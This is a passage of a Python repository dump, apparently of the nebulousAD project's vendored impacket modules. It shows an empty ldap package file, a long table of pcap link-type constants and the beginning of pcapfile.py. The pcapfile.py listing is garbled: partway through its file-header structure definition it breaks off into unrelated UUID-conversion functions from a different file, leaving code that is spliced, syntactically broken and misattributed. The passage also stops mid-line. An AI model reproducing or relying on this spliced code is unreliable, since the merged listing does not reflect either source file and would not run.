-------------------------------------------------------------------------------- /nebulousAD/modimpacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/pcap_linktypes.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | LINKTYPE_NULL = 0 9 | DLT_NULL = LINKTYPE_NULL 10 | LINKTYPE_ETHERNET = 1 11 | DLT_EN10MB = LINKTYPE_ETHERNET 12 | LINKTYPE_AX25 = 3 13 | DLT_AX25 = LINKTYPE_AX25 14 | NKTYPE_IEEE802_5 = 6 15 | DLT_IEEE802 = NKTYPE_IEEE802_5 16 | LINKTYPE_ARCNET_BSD = 7 17 | DLT_ARCNET = LINKTYPE_ARCNET_BSD 18 | LINKTYPE_SLIP = 8 19 | DLT_SLIP = LINKTYPE_SLIP 20 | LINKTYPE_PPP = 9 21 | DLT_PPP = LINKTYPE_PPP 22 | LINKTYPE_FDDI = 10 23 | DLT_FDDI = LINKTYPE_FDDI 24 | LINKTYPE_PPP_HDLC = 50 25 | DLT_PPP_SERIAL = LINKTYPE_PPP_HDLC 26 | LINKTYPE_PPP_ETHER = 51 27 | DLT_PPP_ETHER = LINKTYPE_PPP_ETHER 28 | LINKTYPE_ATM_RFC1483 = 100 29 | DLT_ATM_RFC1483 = LINKTYPE_ATM_RFC1483 30 | LINKTYPE_RAW = 101 31 | DLT_RAW = LINKTYPE_RAW 32 | LINKTYPE_C_HDLC = 104 33 | DLT_C_HDLC = LINKTYPE_C_HDLC 34 | LINKTYPE_IEEE802_11 = 105 35 | DLT_IEEE802_11 = LINKTYPE_IEEE802_11 36 | LINKTYPE_FRELAY = 107 37 | DLT_FRELAY = LINKTYPE_FRELAY 38 | LINKTYPE_LOOP = 108 39 | DLT_LOOP = LINKTYPE_LOOP 40 | LINKTYPE_LINUX_SLL = 113 41 | DLT_LINUX_SLL = LINKTYPE_LINUX_SLL 42 | LINKTYPE_LTALK = 114 43 | DLT_LTALK = LINKTYPE_LTALK 44 | LINKTYPE_PFLOG = 117 45 | DLT_PFLOG = LINKTYPE_PFLOG 46 | LINKTYPE_IEEE802_11_PRISM = 119 47 | DLT_PRISM_HEADER = LINKTYPE_IEEE802_11_PRISM 48 | LINKTYPE_IP_OVER_FC = 122 49 | DLT_IP_OVER_FC = LINKTYPE_IP_OVER_FC 50 | LINKTYPE_SUNATM = 123 51 | DLT_SUNATM = LINKTYPE_SUNATM 52 | LINKTYPE_IEEE802_11_RADIOTAP = 127 53 | DLT_IEEE802_11_RADIO = LINKTYPE_IEEE802_11_RADIOTAP 54 | LINKTYPE_ARCNET_LINUX = 129 55 | DLT_ARCNET_LINUX = LINKTYPE_ARCNET_LINUX 56 | LINKTYPE_APPLE_IP_OVER_IEEE1394 = 138 57 | DLT_APPLE_IP_OVER_IEEE1394 = LINKTYPE_APPLE_IP_OVER_IEEE1394 58 | LINKTYPE_MTP2_WITH_PHDR = 139 59 | DLT_MTP2_WITH_PHDR = LINKTYPE_MTP2_WITH_PHDR 60 | LINKTYPE_MTP2 = 140 61 | DLT_MTP2 = LINKTYPE_MTP2 62 | LINKTYPE_MTP3 = 141 63 | DLT_MTP3 = LINKTYPE_MTP3 64 | LINKTYPE_SCCP = 142 65 | DLT_SCCP = LINKTYPE_SCCP 66 | LINKTYPE_DOCSIS = 143 67 | DLT_DOCSIS = LINKTYPE_DOCSIS 68 | LINKTYPE_LINUX_IRDA = 144 69 | DLT_LINUX_IRDA = LINKTYPE_LINUX_IRDA 70 | LINKTYPE_IEEE802_11_AVS = 163 71 | DLT_IEEE802_11_RADIO_AVS = LINKTYPE_IEEE802_11_AVS 72 | LINKTYPE_BACNET_MS_TP = 165 73 | DLT_BACNET_MS_TP = LINKTYPE_BACNET_MS_TP 74 | LINKTYPE_PPP_PPPD = 166 75 | DLT_PPP_PPPD = LINKTYPE_PPP_PPPD 76 | LINKTYPE_GPRS_LLC = 169 77 | DLT_GPRS_LLC = LINKTYPE_GPRS_LLC 78 | LINKTYPE_LINUX_LAPD = 177 79 | DLT_LINUX_LAPD = LINKTYPE_LINUX_LAPD 80 | LINKTYPE_BLUETOOTH_HCI_H4 = 187 81 | DLT_BLUETOOTH_HCI_H4 = LINKTYPE_BLUETOOTH_HCI_H4 82 | LINKTYPE_USB_LINUX = 189 83 | DLT_USB_LINUX = LINKTYPE_USB_LINUX 84 | LINKTYPE_PPI = 192 85 | DLT_PPI = LINKTYPE_PPI 86 | LINKTYPE_IEEE802_15_4 = 195 87 | DLT_IEEE802_15_4 = LINKTYPE_IEEE802_15_4 88 | LINKTYPE_SITA = 196 89 | DLT_SITA = LINKTYPE_SITA 90 | LINKTYPE_ERF = 197 91 | DLT_ERF = LINKTYPE_ERF 92 | LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR = 201 93 | DLT_BLUETOOTH_HCI_H4_WITH_PHDR = LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR 94 | LINKTYPE_AX25_KISS = 202 95 | DLT_AX25_KISS = LINKTYPE_AX25_KISS 96 | LINKTYPE_LAPD = 203 97 | DLT_LAPD = LINKTYPE_LAPD 98 | LINKTYPE_PPP_WITH_DIR = 204 99 | DLT_PPP_WITH_DIR = LINKTYPE_PPP_WITH_DIR 100 | LINKTYPE_C_HDLC_WITH_DIR = 205 101 | DLT_C_HDLC_WITH_DIR = LINKTYPE_C_HDLC_WITH_DIR 102 | LINKTYPE_FRELAY_WITH_DIR = 206 103 | DLT_FRELAY_WITH_DIR = LINKTYPE_FRELAY_WITH_DIR 104 | LINKTYPE_IPMB_LINUX = 209 105 | DLT_IPMB_LINUX = LINKTYPE_IPMB_LINUX 106 | LINKTYPE_IEEE802_15_4_NONASK_PHY = 215 107 | DLT_IEEE802_15_4_NONASK_PHY = LINKTYPE_IEEE802_15_4_NONASK_PHY 108 | LINKTYPE_USB_LINUX_MMAPPED = 220 109 | DLT_USB_LINUX_MMAPPED = LINKTYPE_USB_LINUX_MMAPPED 110 | LINKTYPE_FC_2 = 224 111 | DLT_FC_2 = LINKTYPE_FC_2 112 | LINKTYPE_FC_2_WITH_FRAME_DELIMS = 225 113 | DLT_FC_2_WITH_FRAME_DELIMS = LINKTYPE_FC_2_WITH_FRAME_DELIMS 114 | LINKTYPE_IPNET = 226 115 | DLT_IPNET = LINKTYPE_IPNET 116 | LINKTYPE_CAN_SOCKETCAN = 227 117 | DLT_CAN_SOCKETCAN = LINKTYPE_CAN_SOCKETCAN 118 | LINKTYPE_IPV4 = 228 119 | DLT_IPV4 = LINKTYPE_IPV4 120 | LINKTYPE_IPV6 = 229 121 | DLT_IPV6 = LINKTYPE_IPV6 122 | LINKTYPE_IEEE802_15_4_NOFCS = 230 123 | DLT_IEEE802_15_4_NOFCS = LINKTYPE_IEEE802_15_4_NOFCS 124 | LINKTYPE_DBUS = 231 125 | DLT_DBUS = LINKTYPE_DBUS 126 | LINKTYPE_DVB_CI = 235 127 | DLT_DVB_CI = LINKTYPE_DVB_CI 128 | LINKTYPE_MUX27010 = 236 129 | DLT_MUX27010 = LINKTYPE_MUX27010 130 | LINKTYPE_STANAG_5066_D_PDU = 237 131 | DLT_STANAG_5066_D_PDU = LINKTYPE_STANAG_5066_D_PDU 132 | LINKTYPE_NFLOG = 239 133 | DLT_NFLOG = LINKTYPE_NFLOG 134 | LINKTYPE_NETANALYZER = 240 135 | DLT_NETANALYZER = LINKTYPE_NETANALYZER 136 | LINKTYPE_NETANALYZER_TRANSPARENT = 241 137 | DLT_NETANALYZER_TRANSPARENT = LINKTYPE_NETANALYZER_TRANSPARENT 138 | LINKTYPE_IPOIB = 242 139 | DLT_IPOIB = LINKTYPE_IPOIB 140 | LINKTYPE_MPEG_2_TS = 243 141 | DLT_MPEG_2_TS = LINKTYPE_MPEG_2_TS 142 | LINKTYPE_NG40 = 244 143 | DLT_NG40 = LINKTYPE_NG40 144 | LINKTYPE_NFC_LLCP = 245 145 | DLT_NFC_LLCP = LINKTYPE_NFC_LLCP 146 | LINKTYPE_INFINIBAND = 247 147 | DLT_INFINIBAND = LINKTYPE_INFINIBAND 148 | LINKTYPE_SCTP = 248 149 | DLT_SCTP = LINKTYPE_SCTP 150 | LINKTYPE_USBPCAP = 249 151 | DLT_USBPCAP = LINKTYPE_USBPCAP 152 | LINKTYPE_RTAC_SERIAL = 250 153 | DLT_RTAC_SERIAL = LINKTYPE_RTAC_SERIAL 154 | LINKTYPE_BLUETOOTH_LE_LL = 251 155 | DLT_BLUETOOTH_LE_LL = LINKTYPE_BLUETOOTH_LE_LL 156 | LINKTYPE_NETLINK = 253 157 | DLT_NETLINK = LINKTYPE_NETLINK 158 | LINKTYPE_BLUETOOTH_LINUX_MONITOR = 254 159 | DLT_BLUETOOTH_LINUX_MONITOR = LINKTYPE_BLUETOOTH_LINUX_MONITOR 160 | LINKTYPE_BLUETOOTH_BREDR_BB = 255 161 | DLT_BLUETOOTH_BREDR_BB = LINKTYPE_BLUETOOTH_BREDR_BB 162 | LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR = 256 163 | DLT_BLUETOOTH_LE_LL_WITH_PHDR = LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR 164 | LINKTYPE_PROFIBUS_DL = 257 165 | DLT_PROFIBUS_DL = LINKTYPE_PROFIBUS_DL 166 | LINKTYPE_PKTAP = 258 167 | DLT_PKTAP = LINKTYPE_PKTAP 168 | LINKTYPE_EPON = 259 169 | DLT_EPON = LINKTYPE_EPON 170 | LINKTYPE_IPMI_HPM_2 = 260 171 | DLT_IPMI_HPM_2 = LINKTYPE_IPMI_HPM_2 172 | 173 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | from nebulousAD.modimpacket import ImpactPacket, ImpactDecoder, structure 9 | 10 | O_ETH = 0 11 | O_IP = 1 12 | O_ARP = 1 13 | O_UDP = 2 14 | O_TCP = 2 15 | O_ICMP = 2 16 | O_UDP_DATA = 3 17 | O_ICMP_DATA = 3 18 | 19 | MAGIC = '"\xD4\xC3\xB2\xA1' 20 | 21 | class PCapFileHeader(structure.Structure): 22 | structure = ( 23 | ('magic', MAGIC), 24 | ('versionMajor', 'HHL', uuid[8:16]) 28 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 29 | 30 | def string_to_bin(uuid): 31 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) 32 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = map(lambda x: long(x, 16), matches.groups()) 33 | uuid = pack('HHL', uuid4, uuid5, uuid6) 35 | return uuid 36 | 37 | def stringver_to_bin(s): 38 | (maj,min) = s.split('.') 39 | return pack('